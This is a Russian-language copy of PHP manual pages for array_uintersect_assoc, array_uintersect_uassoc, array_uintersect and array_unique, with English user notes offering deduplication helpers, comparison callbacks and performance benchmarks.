This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


Вычисляет пересечение массивов с дополнительной проверкой индексов, используя для сравнения значений callback-функцию

  • « array_udiff
  • array_uintersect_uassoc »
  • PHP Manual
  • Функции для работы с массивами
  • Вычисляет пересечение массивов с дополнительной проверкой индексов, используя для сравнения значений callback-функцию

array_uintersect_assoc

(PHP 5, PHP 7, PHP 8)

array_uintersect_assoc — Вычисляет пересечение массивов с дополнительной проверкой индексов, используя для сравнения значений callback-функцию

Описание

array_uintersect_assoc(array $array, array ...$arrays, callable $value_compare_func): array

Вычисляет пересечение массивов с дополнительной проверкой индексов, используя для сравнения значений callback-функцию.

Обратите внимание, что в отличие от функции array_uintersect() также сравниваются и ключи. Значения сравнивает callback-функция.

Список параметров

array

Первый массив.

arrays

Массивы для сравнения.

value_compare_func

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Предостережение

Callback-функция сортировки должна обрабатывать любое значение из любого массива в любом порядке, независимо от того, в каком порядке они были предоставлены вначале. Причина этого в том, что каждый отдельный массив сначала сортируется перед сравнением с другими массивами. Например:

<?php

$arrayA = ["string", 1];
$arrayB = [["value" => 1]];
// $item1 and $item2 can be any of "string", 1 or ["value" => 1]
$compareFunc = static function ($item1, $item2) {
$value1 = is_string($item1) ? strlen($item1) : (is_array($item1) ? $item1["value"] : $item1);
$value2 = is_string($item2) ? strlen($item2) : (is_array($item2) ? $item2["value"] : $item2);
return $value1 <=> $value2;
};

?>

Возвращаемые значения

Возвращает массив (array), содержащий элементы аргумента array, которые есть в каждом другом аргументе.

Примеры

Пример #1 Пример использования функции array_uintersect_assoc()

<?php

$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_uintersect_assoc($array1, $array2, "strcasecmp"));

?>

Результат выполнения приведённого примера:

Array
(
    [a] => green
)

Смотрите также

  • array_uintersect() - Вычисляет пересечение массивов, используя для сравнения значений callback-функцию
  • array_intersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса
  • array_intersect_uassoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса, сравнивая индексы через callback-функцию
  • array_uintersect_uassoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса, используя для сравнения индексов и значений отдельные callback-функции

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет пересечение массивов с дополнительной проверкой индекса, используя для сравнения индексов и значений отдельные callback-функции

  • « array_uintersect_assoc
  • array_uintersect »
  • PHP Manual
  • Функции для работы с массивами
  • Вычисляет пересечение массивов с дополнительной проверкой индекса, используя для сравнения индексов и значений отдельные callback-функции

array_uintersect_uassoc

(PHP 5, PHP 7, PHP 8)

array_uintersect_uassoc — Вычисляет пересечение массивов с дополнительной проверкой индекса, используя для сравнения индексов и значений отдельные callback-функции

Описание

array_uintersect_uassoc(
array $array1,
array ...$arrays,
callable $value_compare_func,
callable $key_compare_func
): array

Вычисляет пересечение массивов с дополнительной проверкой индекса, используя для сравнения ключей и значений отдельные callback-функции. То есть значения сравниваются одной callback-функцией, а индексы — другой.

Список параметров

array1

Первый массив.

arrays

Дополнительные массивы.

value_compare_func

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Предостережение

Callback-функция сортировки должна обрабатывать любое значение из любого массива в любом порядке, независимо от того, в каком порядке они были предоставлены вначале. Причина этого в том, что каждый отдельный массив сначала сортируется перед сравнением с другими массивами. Например:

<?php

$arrayA = ["string", 1];
$arrayB = [["value" => 1]];
// $item1 and $item2 can be any of "string", 1 or ["value" => 1]
$compareFunc = static function ($item1, $item2) {
$value1 = is_string($item1) ? strlen($item1) : (is_array($item1) ? $item1["value"] : $item1);
$value2 = is_string($item2) ? strlen($item2) : (is_array($item2) ? $item2["value"] : $item2);
return $value1 <=> $value2;
};

?>

key_compare_func

Callback-функция для сравнения ключей.

Возвращаемые значения

Возвращает массив (array), содержащий все элементы аргумента array1, которые есть в каждом другом аргументе.

Примеры

Пример #1 Пример использования функции array_uintersect_uassoc()

<?php

$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_uintersect_uassoc($array1, $array2, "strcasecmp", "strcasecmp"));

?>

Результат выполнения приведённого примера:

Array
(
    [a] => green
    [b] => brown
)

Смотрите также

  • array_uintersect() - Вычисляет пересечение массивов, используя для сравнения значений callback-функцию
  • array_intersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса
  • array_intersect_uassoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса, сравнивая индексы через callback-функцию
  • array_uintersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индексов, используя для сравнения значений callback-функцию

User Contributed Notes

aidan at php dot net 31-Aug-2004 03:52
Please note, the correct function synopsis is:

array array_uintersect_uassoc ( array array1, array array2 [, array ...], callback data_compare_func, callback key_compare_func)

You may specifiy as many arrays as you like, but the last two parameters must be valid call back functions.


Вычисляет пересечение массивов, используя для сравнения значений callback-функцию

  • « array_uintersect_uassoc
  • array_unique »
  • PHP Manual
  • Функции для работы с массивами
  • Вычисляет пересечение массивов, используя для сравнения значений callback-функцию

array_uintersect

(PHP 5, PHP 7, PHP 8)

array_uintersect — Вычисляет пересечение массивов, используя для сравнения значений callback-функцию

Описание

array_uintersect(array $array, array ...$arrays, callable $value_compare_func): array

Вычисляет пересечение массивов, используя для сравнения значений callback-функцию.

Список параметров

array

Первый массив.

arrays

Массивы для сравнения.

value_compare_func

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Предостережение

Callback-функция сортировки должна обрабатывать любое значение из любого массива в любом порядке, независимо от того, в каком порядке они были предоставлены вначале. Причина этого в том, что каждый отдельный массив сначала сортируется перед сравнением с другими массивами. Например:

<?php

$arrayA = ["string", 1];
$arrayB = [["value" => 1]];
// $item1 and $item2 can be any of "string", 1 or ["value" => 1]
$compareFunc = static function ($item1, $item2) {
$value1 = is_string($item1) ? strlen($item1) : (is_array($item1) ? $item1["value"] : $item1);
$value2 = is_string($item2) ? strlen($item2) : (is_array($item2) ? $item2["value"] : $item2);
return $value1 <=> $value2;
};

?>

Возвращаемые значения

Возвращает массив (array), содержащий элементы аргумента array, которые есть в каждом другом аргументе.

Примеры

Пример #1 Пример использования функции array_uintersect()

<?php

$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_uintersect($array1, $array2, "strcasecmp"));

?>

Результат выполнения приведённого примера:

Array
(
    [a] => green
    [b] => brown
    [0] => red
)

Смотрите также

  • array_intersect() - Вычисляет пересечение массивов
  • array_intersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса
  • array_uintersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
  • array_uintersect_uassoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса, используя для сравнения индексов и значений отдельные callback-функции

User Contributed Notes

Ryan C 25-Mar-2022 04:17
If you're rolling your own comparison function, keep in mind that the spaceship operator (i.e. <=>) can be your best friend. It's been around since PHP7. https://www.php.net/manual/en/language.operators.comparison.php

So, for instance, instead of a clunky function like:

<?php
function myFunction($v1, $v2) {
   if ($v1 === $v2) {
      return 0;
   }
   if ($v1 > $v2) return 1;
   return -1;
}
?>

You can simplify it to:

<?php
function myFunction($v1, $v2) {
   return $v1 <=> $v2;
}
?>
rob dot c dot ruiz at gmail dot com 15-Nov-2018 11:21
When trying to do a case insensitive comparison between arrays of words, the strcasecmp function works very nicely with this one like so:

$arr1 = array('blue', 'green', 'red');

$arr2 = array('BLUE', 'Purple', 'Red');

$loose_matches = array_uintersect($arr1, $arr2, 'strcasecmp');

print_r($loose_matches) // array('blue', 'red');
Hayley Watson 01-Jan-2018 10:25
As for the other "compare function" callbacks, the return value from the callback function doesn't need to be -1, 0, or 1.

cmp($a,$b) just needs to be <0, =0, or >0 depending on whether $a<$b, $a=$b, or $a>$b.
Nate at RuggFamily dot com 02-Feb-2007 12:03
I want to stress that in the user function, you do need to return either a 1 or a -1 properly; you cannot simply return 0 if the results are equal and 1 if they are not.

The following code is incorrect:

<?php
function myfunction($v1,$v2)
{
if ($v1===$v2)
    {
    return 0;
    }
return 1;
}

$a1=array(1, 2, 4);
$a2=array(1, 3, 4);
print_r(array_uintersect($a1,$a2,"myfunction"));
?>

This code is correct:

<?php
function myfunction($v1,$v2)
{
if ($v1===$v2)
    {
    return 0;
    }
if ($v1 > $v2) return 1;
return -1;
}
$a1=array(1, 2, 4);
$a2=array(1, 3, 4);
print_r(array_uintersect($a1,$a2,"myfunction"));
?>


Убирает повторяющиеся значения из массива

  • « array_uintersect
  • array_unshift »
  • PHP Manual
  • Функции для работы с массивами
  • Убирает повторяющиеся значения из массива

array_unique

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

array_unique — Убирает повторяющиеся значения из массива

Описание

array_unique(array $array, int $flags = SORT_STRING): array

Принимает входной массив array и возвращает новый массив без повторяющихся значений.

Обратите внимание, что ключи сохранятся. Если в соответствии с заданными flags несколько элементов определяются как идентичные, то будут сохранены ключ и значение первого такого элемента.

Замечание: Два элемента считаются одинаковыми в том и только в том случае, если (string) $elem1 === (string) $elem2. Другими словами: если у них одинаковое строковое представление, то будет использован первый элемент.

Список параметров

array

Входной массив.

flags

Можно использовать необязательный второй параметр flags для изменения поведения сравнения с помощью следующих значений:

Флаги видов сравнения:

  • SORT_REGULAR - нормальное сравнение элементов (типы не меняются)
  • SORT_NUMERIC - элементы сравниваются как числа
  • SORT_STRING - элементы сравниваются как строки
  • SORT_LOCALE_STRING - сравнивает элементы как строки, с учётом текущей локали.

Возвращаемые значения

Возвращает отфильтрованный массив.

Список изменений

Версия | Описание
7.2.0 | Если flags равен SORT_STRING, ранее массив array копировался, а не уникальные элементы удалялись (сохраняя значения цифровых индексов), но теперь создаётся новый массив путём добавления уникальных элементов. Это может привести к различным числовым индексам.

Примеры

Пример #1 Пример использования array_unique()

<?php
$input = array("a" => "green", "red", "b" => "green", "blue", "red");
$result = array_unique($input);
print_r($result);
?>

Результат выполнения приведённого примера:

Array
(
    [a] => green
    [0] => red
    [1] => blue
)

Пример #2 array_unique() и типы:

<?php
$input = array(4, "4", "3", 4, 3, "3");
$result = array_unique($input);
var_dump($result);
?>

Результат выполнения приведённого примера:

array(2) {
  [0] => int(4)
  [2] => string(1) "3"
}

Примечания

Замечание: Обратите внимание, что array_unique() не предназначена для работы с многомерными массивами.

Смотрите также

  • array_count_values() - Подсчитывает количество вхождений каждого отдельного значения в массиве

User Contributed Notes

tasiot 01-Feb-2024 02:19
An other solution to remove duplicates entries of a multi-dimensional array based on key...

<?php

function array_unique_multi(array $array, string $key): array
{
    $unique = [];
    foreach ($array as $v) {
        if (!array_key_exists($v[$key], $unique)) {
            $unique[$v[$key]] = $v;
        }
    }
    return array_values($unique);
}

// Usage
$unique = array_unique_multi($users, 'id');

?>

Or to preserve keys...

<?php

function array_unique_amulti(array $array, string $key): array
{
    $keys = [];
    $unique = [];
    foreach ($array as $k => $v) {
        if (!isset($keys[$v[$key]])) {
            $keys[$v[$key]] = true;
            $unique[$k] = $v;
        }
    }
    return $unique;
}

?>
Victoire Nkolo at crinastudio.com 18-Mar-2023 12:35
<?php

//removes duplicated objetcs from an array according to the property given

class ArrayFilter
{

    public static function dedupe_array_of_objets(array $array, string $property) : array
    {
        $i = 0;
        $filteredArray = array();
        $keyArray = array();

        foreach($array as $item) {
            if (!in_array($item->$property, $keyArray)) {
                $keyArray[$i] = $item->$property;
                $filteredArray[$i] = $item;
            }
            $i++;
        }
        return $filteredArray;
    }
}
Mike D. - michal at euro-net.pl 17-Dec-2022 12:47
modified code originally posted by Ghanshyam Katriya(anshkatriya at gmail) [highest voted comment here].

1. In php 7.4 counter $i breaks the function. Removed completely (imo was waste of keystrokes anyway).
2. I added second return value - array of duplicates. So you can take both and compare them (I had to).

Example array (copy-paste from original post):
<?php
$details = array(
    0 => array("id"=>"1", "name"=>"Mike",    "num"=>"9876543210"),
    1 => array("id"=>"2", "name"=>"Carissa", "num"=>"08548596258"),
    2 => array("id"=>"1", "name"=>"Mathew",  "num"=>"784581254"),
);
?>

Function:
<?php
function unique_multidim_array($array, $key) : array {
    $uniq_array = array();
    $dup_array = array();
    $key_array = array();

    foreach($array as $val) {
        if (!in_array($val[$key], $key_array)) {
            $key_array[] = $val[$key];
            $uniq_array[] = $val;
/*
            # 1st list to check:
            # echo "ID or sth: " . $val['building_id'] . "; Something else: " . $val['nodes_name'] . (...) "\n";
*/
        } else {
            $dup_array[] = $val;
/*
            # 2nd list to check:
            # echo "ID or sth: " . $val['building_id'] . "; Something else: " . $val['nodes_name'] . (...) "\n";
*/
        }
    }
    return array($uniq_array, $dup_array, /* $key_array */);
}
?>

Usage:
<?php
list($unique_addresses, $duplicates, /* $unique_keys */) = unique_multidim_array($details,'id');
?>

Then:
var_dump($unique_addresses);
or
var_dump($duplicates);
or foreach or whatever. Personally I just echo-ed 1st and then 2nd (both DOUBLE COMMENTED) list in function itself (then copied both to notepad++ and compared them - just to be 100% sure), but in case you want to do something else with it - enjoy :)
Plus - as a bonus - you also get an array of UNIQUE keys you searched for (just uncomment >$key_array< in both: function return and function call code).

From example array code returns:
var_dump($unique_addresses);
array(2) {
  [0]=>
  array(3) {
    ["id"]=>
    string(1) "1"
    ["name"]=>
    string(4) "Mike"
    ["num"]=>
    string(10) "9876543210"
  }
  [1]=>
  array(3) {
    ["id"]=>
    string(1) "2"
    ["name"]=>
    string(7) "Carissa"
    ["num"]=>
    string(11) "08548596258"
  }
}

var_dump($duplicates);
array(1) {
  [0]=>
  array(3) {
    ["id"]=>
    string(1) "1"
    ["name"]=>
    string(6) "Mathew"
    ["num"]=>
    string(9) "784581254"
  }
}

Plus keys, if you want.

P.S.: in my - practical - case of DB querying I got around 4k uniques and 15k dupes :)
tasiot 23-Nov-2022 10:45
array_unique is not compatible with php 8.1 enums because enums don't have a string representation yet (even the BackedEnum of string type...).
You get an error: "Object of class XXXX could not be converted to string."

So I wrote this function that creates a string representation of the enums and use the array keys to remove duplicates:

<?php

function array_unique_81(array $values): array
{
    $unique = [];
    foreach ($values as $value) {
        if ($value instanceof \UnitEnum) {
            $key = 'e:' . \get_class($value) . ':' . $value->name;
        } else {
            $key = 's:' . (string)$value;
        }
        $unique[$key] = $value;
    }
    return \array_values($unique);
}

?>
free dot smilesrg at gmail dot com 01-Nov-2022 02:43
$a = new StdClass();
$b = new StdClass();

var_dump(array_unique([$a, $b, $b, $a], SORT_REGULAR));
//array(1) {
//  [0]=>
//    object(stdClass)#1 (0) {
//  }
//}

$a->name = 'One';
$b->name = 'Two';

var_dump(array_unique([$a, $b, $b, $a], SORT_REGULAR));

//array(2) {
//  [0]=>
//  object(stdClass)#1 (1) {
//    ["name"]=>
//    string(3) "One"
//  }
//  [1]=>
//  object(stdClass)#2 (1) {
//    ["name"]=>
//    string(3) "Two"
//  }
//}
Sbastien 24-May-2022 09:45
Because of PHP comparaisons modalities, you can never distinguish null from others falsy values.
Note the absorbing nature of true and false booleans in mix types array.

<?php

$a = [true, false, null, '', '0', '123', 0, 123];
foreach (['SORT_REGULAR', 'SORT_NUMERIC', 'SORT_STRING', 'SORT_LOCALE_STRING'] as $flag) {
    $a_new = array_unique($a, constant($flag));
    echo "{$flag} ==> ";
    var_dump($a_new);
}

/*

Gives :

SORT_REGULAR ==> array(2) {
  [0]=> bool(true)
  [1]=> bool(false)
}
SORT_NUMERIC ==> array(3) {
  [0]=> bool(true)
  [1]=> bool(false)
  [5]=> string(3) "123"
}
SORT_STRING ==> array(4) {
  [0]=> bool(true)
  [1]=> bool(false)
  [4]=> string(1) "0"
  [5]=> string(3) "123"
}
SORT_LOCALE_STRING ==> array(4) {
  [0]=> bool(true)
  [1]=> bool(false)
  [4]=> string(1) "0"
  [5]=> string(3) "123"
}

*/
contact at evoweb dot fr 16-Feb-2021 08:32
Here is a solution to make unique values keeping empty values for an array with keys :

<?php
function array_unique_kempty($array) {
    $values = array_unique($array);
    $return = array_combine(array_keys($array), array_fill(0,count($array),null));
    return array_merge($return,$values);
}

$myArray = [
    "test1" => "aaa",
    "test2" => null,
    "test3" => "aaa",
    "test4" => "bbb",
    "test5" => null,
    "test6" => "ccc",
    "test7" => "ddd",
    "test8" => "ccc"
];

echo "<pre>".print_r(array_unique_kempty($myArray),true)."</pre>";

/*
Array
(
    [test1] => aaa
    [test2] =>
    [test3] =>
    [test4] => bbb
    [test5] =>
    [test6] => ccc
    [test7] => ddd
    [test8] =>
)
*/
?>
falundir at gmail dot com 19-Jun-2018 05:51
I find it odd that there is no version of this function which allows you to use a comparator callable in order to determine items equality (like array_udiff and array_uintersect). So, here's my version for you:

<?php
function array_uunique(array $array, callable $comparator): array {
    $unique_array = [];
    do {
        $element = array_shift($array);
        $unique_array[] = $element;

        $array = array_udiff(
            $array,
            [$element],
            $comparator
        );
    } while (count($array) > 0);

    return $unique_array;
}
?>

And here is a test code:

<?php
class Foo {

    public $a;

    public function __construct(int $a) {
        $this->a = $a;
    }
}

$array_of_objects = [new Foo(2), new Foo(1), new Foo(3), new Foo(2), new Foo(2), new Foo(1)];

$comparator = function (Foo $foo1, Foo $foo2): int {
    return $foo1->a <=> $foo2->a;
};

var_dump(array_uunique($array_of_objects, $comparator)); // should output [Foo(2), Foo(1), Foo(3)]
?>
subhrajyoti dot de007 at gmail dot com 01-Jun-2018 05:25
Simple and clean way to get duplicate entries removed from a multidimensional array.

<?php
          $multi_array = $multi_array [0];
          $multi_array = array_unique($multi_array);
          print_r($multi_array);
?>
Fabiano 04-Jan-2018 10:22
As for PHP 7.1.12, this is the comparison between array_keys(array_flip()), array_flip(array_flip()), for each elimination and array_unique. The array_keys(array_flip()) is the fastest method to remove duplication values from a single dimension array:

<?php

$max = 1000000;
$arr = range(1,$max,3);
$arr2 = range(1,$max,2);
$arr = array_merge($arr,$arr2);

$time = -microtime(true);
$res1 = array_unique($arr);
$time += microtime(true);

echo "<br>deduped to ".count($res1)." in ".$time;
// deduped to 666667 in 0.78185796737671
// memory used: 33558528

$time = -microtime(true);
$res2 = array_flip(array_flip($arr));
$time += microtime(true);

echo "<br><br>deduped to ".count($res2)." in ".$time;
// deduped to 666667 in 0.072191953659058
// memory used: 3774873

$time = -microtime(true);
$res3 = array();
foreach($arr as $key=>$val) {
    $res3[$val] = true;
}
$res3 = array_keys($res3);
$time += microtime(true);

echo "<br /><br>deduped to ".count($res3)." in ".$time;
// deduped to 666667 in 0.095494985580444
// memory used: 33558528

$time = -microtime(true);
$res4 = array_keys(array_flip($arr));
$time += microtime(true);

echo "<br /><br>deduped to ".count($res4)." in ".$time;
// deduped to 666667 in 0.05807900428772
// memory used: 33558528
calexandrepcjr at gmail dot com 20-Jun-2017 03:19
Following the Ghanshyam Katriya idea, but with an array of objects, where the $key is related to object propriety that you want to filter the uniqueness of array:

<?php
function obj_multi_unique($obj, $key = false)
    {
        $totalObjs = count($obj);
        if (is_array($obj) && $totalObjs > 0 && is_object($obj[0]) && ($key && !is_numeric($key))) {
            for ($i = 0; $i < $totalObjs; $i++) {
                if (isset($obj[$i])) {
                    for ($j = $i + 1; $j < $totalObjs; $j++) {
                        if (isset($obj[$j]) && $obj[$i]->{$key} === $obj[$j]->{$key}) {
                            unset($obj[$j]);
                        }
                    }
                }
            }
            return array_values($obj);
        } else {
            throw new Exception('Invalid argument or your array of objects is empty');
        }
    }
?>
stoff@ 20-Jan-2017 03:23
In reply to performance tests array_unique vs foreach.

In PHP7 there were significant changes to Packed and Immutable arrays resulting in the performance difference to drop considerably. Here is the same test on php7.1 here;
http://sandbox.onlinephpfunctions.com/code/2a9e986690ef8505490489581c1c0e70f20d26d1

$max = 770000; //large enough number within memory allocation
$arr = range(1,$max,3);
$arr2 = range(1,$max,2);
$arr = array_merge($arr,$arr2);

$time = -microtime(true);
$res1 = array_unique($arr);
$time += microtime(true);
echo "deduped to ".count($res1)." in ".$time;
// deduped to 513333 in 1.0876770019531

$time = -microtime(true);
$res2 = array();
foreach($arr as $key=>$val) {
    $res2[$val] = true;
}
$res2 = array_keys($res2);
$time += microtime(true);
echo "<br />deduped to ".count($res2)." in ".$time;
// deduped to 513333 in 0.054931879043579
zoolyka at gmail dot com 18-Jan-2016 10:48
I found the simplest way to "unique" multidimensional arrays as follows:

<?php

$array = array(
    'a' => array(1, 2),
    'b' => array(1, 2),
    'c' => array(2, 2),
    'd' => array(2, 1),
    'e' => array(1, 1),
);

$array = array_map('json_encode', $array);
$array = array_unique($array);
$array = array_map('json_decode', $array);

print_r($array);

?>

As you can see "b" will be removed without any errors or notices.
Ludovico Grossi 19-Dec-2014 02:01
[Editor's note: please note that this will not work well with non-scalar values in the array. Array keys can not be arrays themselves, nor streams, resources, etc. Flipping the array causes a change in key-name]

You can do a super fast version of array_unique directly in PHP, even faster than the other solution posted in the comments!

Compared to the built in function it is 20x faster! (2x faster than the solution in the comments).

<?php
function superfast_array_unique($array) {
    return array_keys(array_flip($array));
}
?>

This works faster for small and big arrays.
Ghanshyam Katriya(anshkatriya at gmail) 09-Dec-2014 10:15
Create multidimensional array unique for any single key index.
e.g I want to create multi dimentional unique array for specific code

Code :
My array is like this,

<?php
$details = array(
    0 => array("id"=>"1", "name"=>"Mike",    "num"=>"9876543210"),
    1 => array("id"=>"2", "name"=>"Carissa", "num"=>"08548596258"),
    2 => array("id"=>"1", "name"=>"Mathew",  "num"=>"784581254"),
);
?>

You can make it unique for any field like id, name or num.

I have develop this function for same :
<?php
function unique_multidim_array($array, $key) {
    $temp_array = array();
    $i = 0;
    $key_array = array();

    foreach($array as $val) {
        if (!in_array($val[$key], $key_array)) {
            $key_array[$i] = $val[$key];
            $temp_array[$i] = $val;
        }
        $i++;
    }
    return $temp_array;
}
?>

Now, call this function anywhere from your code,

something like this,
<?php
$details = unique_multidim_array($details,'id');
?>

Output will be like this :
<?php
$details = array(
    0 => array("id"=>"1","name"=>"Mike","num"=>"9876543210"),
    1 => array("id"=>"2","name"=>"Carissa","num"=>"08548596258"),
);
?>
mostafatalebi at rocketmail dot com 13-Dec-2013 02:38
If you find the need to get a sorted array without it preserving the keys, use this code which has worked for me:

<?php

$array = array("hello", "fine", "good", "fine", "hello", "bye");

$get_sorted_unique_array = array_values(array_unique($array));

?>

The above code returns an array which is both unique and sorted from zero.
sashasimkin at gmail dot com 25-Apr-2012 01:26
My object unique function:

<?php
function object_unique( $obj ){
    $objArray = (array) $obj;

    $objArray = array_intersect_assoc( array_unique( $objArray ), $objArray );

    foreach( $obj as $n => $f ) {
        if( !array_key_exists( $n, $objArray ) ) unset( $obj->$n );
    }

    return $obj;
}
?>

And these code:

<?php
class Test{
    public $pr0 = 'string';
    public $pr1 = 'string1';
    public $pr2 = 'string';
    public $pr3 = 'string2';
}

$obj = new Test;

var_dump( object_unique( $obj ) );
?>

returns:
object(Test)[1]
  public 'pr0' => string 'string' (length=6)
  public 'pr1' => string 'string1' (length=7)
  public 'pr3' => string 'string2' (length=7)
Anonymous 16-Jun-2010 05:46
It's often faster to use a foreache and array_keys than array_unique:

    <?php

    $max = 1000000;
    $arr = range(1,$max,3);
    $arr2 = range(1,$max,2);
    $arr = array_merge($arr,$arr2);

    $time = -microtime(true);
    $res1 = array_unique($arr);
    $time += microtime(true);
    echo "deduped to ".count($res1)." in ".$time;
    // deduped to 666667 in 32.300781965256

    $time = -microtime(true);
    $res2 = array();
    foreach($arr as $key=>$val) {
        $res2[$val] = true;
    }
    $res2 = array_keys($res2);
    $time += microtime(true);
    echo "<br />deduped to ".count($res2)." in ".$time;
    // deduped to 666667 in 0.84372591972351

    ?>
regeda at inbox dot ru 12-Apr-2010 08:11
recursive array unique for multiarrays

<?php
function super_unique($array)
{
  $result = array_map("unserialize", array_unique(array_map("serialize", $array)));

  foreach ($result as $key => $value)
  {
    if ( is_array($value) )
    {
      $result[$key] = super_unique($value);
    }
  }

  return $result;
}
?>
amri [ at t] dhstudio dot eu 18-Dec-2009 02:36
I searched how to show only the de-duplicate elements from array, but failed.
Here is my solution:

<?php
function arrayUniqueElements($array)
{
return array_unique(array_diff_assoc($array1,array_unique($array1)));
};
?>

Example:
<?php
$arr1 = array('foo', 'bar', 'xyzzy', '&', 'xyzzy',
'baz', 'bat', '|', 'xyzzy', 'plugh',
'xyzzy', 'foobar', '|', 'plonk', 'xyzzy',
'apples', '&', 'xyzzy', 'oranges', 'xyzzy',
'pears','foobar');

$result=arrayUniqueElements($arr1);
print_r($result);exit;
?>

Output:

Array
(
[4] => xyzzy
[12] => |
[16] => &
[21] => foobar
)
dirk dot avery a t gmail 30-Apr-2009 08:45
Although array_unique is not intended to work with multi-dimensional arrays, it does on 5.2.9.  However, it does not for 5.2.5.  Beware.
jusvalceanu - SPAM at SPAM - yahoo dot com 06-Nov-2008 02:23
so .... my problem was multidimensional sort.

<?php
      $new = array();
      $exclude = array("");
      for ($i = 0; $i<=count($attribs)-1; $i++) {
         if (!in_array(trim($attribs[$i]["price"]) ,$exclude)) { $new[] = $attribs[$i]; $exclude[] = trim($attribs[$i]["price"]); }
      }

?>

Array $attribs is an array contaning arrays. Each array in the $attrib array consists in multiple fields (ex: name, lenght, price, etc.) to be more simpler in speech think that $attrib is the array resulted by a search sql query done by a visitator on your online shoopping website ... (so ... each array in the $attrib is a product :P) if you want to sort only the uniq results use the above or use this:

<?php

   /* Our Array of products */
   $attribs[] = array(
                           "name"         => "Test Product 1",
                           "length"     => "42 cm",
                           "weight"     => "0,5 kg",
                           "price"     => "10 $",
                           "stock"     => "100",
                        );

   $attribs[] = array(
                           "name"         => "Test Product 2",
                           "length"     => "42 cm",
                           "weight"     => "1,5 kg",
                           "price"     => "10 $",
                           "stock"     => "200",
                        );

    /* The nice stuff */

      $new = array();
      $exclude = array("");
      for ($i = 0; $i<=count($attribs)-1; $i++) {
         if (!in_array(trim($attribs[$i]["price"]) ,$exclude)) { $new[] = $attribs[$i]; $exclude[] = trim($attribs[$i]["price"]); }
      }

      print_r($new); // $new is our sorted array

?>

Have fun tweaking this ;)) i know you will ;))

From Romania With Love
quecoder at gmail 25-Aug-2008 10:30
another method to get unique values is :

<?php
$alpha=array('a','b','c','a','b','d','e','f','f');

$alpha= array_keys(array_count_values($alpha));

print_r($alpha);
?>

Output:
Array ( [0] => a [1] => b [2] => c [3] => d [4] => e [5] => f )
Dorphalsig 28-Jul-2008 09:47
I had a problem with array_unique and multidimensional arrays ... Maybe there's a better way to do this, but this will work for any dimensional arrays.

<?php
function arrayUnique($myArray)
{
    if(!is_array($myArray))
           return $myArray;

    foreach ($myArray as &$myvalue){
        $myvalue=serialize($myvalue);
    }

    $myArray=array_unique($myArray);

    foreach ($myArray as &$myvalue){
        $myvalue=unserialize($myvalue);
    }

    return $myArray;

}
?>
PHP Expert 14-Apr-2008 05:34
Case insensitive for PHP v4.x and up.

<?php

function in_iarray($str, $a) {
    foreach ($a as $v) {
        if (strcasecmp($str, $v) == 0) {
            return true;
        }
    }
    return false;
}

function array_iunique($a) {
    $n = array();
    foreach ($a as $k => $v) {
        if (!in_iarray($v, $n)) {
            $n[$k]=$v;
        }
    }
    return $n;
}

$input = array("aAa","bBb","cCc","AaA","ccC","ccc","CCC","bBB","AAA","XXX");
$result = array_iunique($input);
print_r($result);

/*
Array
(
    [0] => aAa
    [1] => bBb
    [2] => cCc
    [9] => XXX
)
*/
?>
Ray dot Paseur at SometimesUsesGmail dot com 01-Mar-2008 07:46
I needed to identify email addresses in a data table that were replicated, so I wrote the array_not_unique() function:

<?php

function array_not_unique($raw_array) {
    $dupes = array();
    natcasesort($raw_array);
    reset ($raw_array);

    $old_key    = NULL;
    $old_value    = NULL;
    foreach ($raw_array as $key => $value) {
        if ($value === NULL) { continue; }
        if ($old_value == $value) {
            $dupes[$old_key]    = $old_value;
            $dupes[$key]        = $value;
        }
        $old_value    = $value;
        $old_key    = $key;
    }
return $dupes;
}

$raw_array     = array();
$raw_array[1]    = 'abc@xyz.com';
$raw_array[2]    = 'def@xyz.com';
$raw_array[3]    = 'ghi@xyz.com';
$raw_array[4]    = 'abc@xyz.com'; // Duplicate

$common_stuff    = array_not_unique($raw_array);
var_dump($common_stuff);
?>
mnbayazit 28-Oct-2007 02:18
Case insensitive; will keep first encountered value.

<?php

function array_iunique($array) {
    $lowered = array_map('strtolower', $array);
    return array_intersect_key($array, array_unique($lowered));
}

?>
webmaster at jukkis dot net 30-Jul-2007 04:08
Another way to 'unique column' an array, in this case an array of objects:
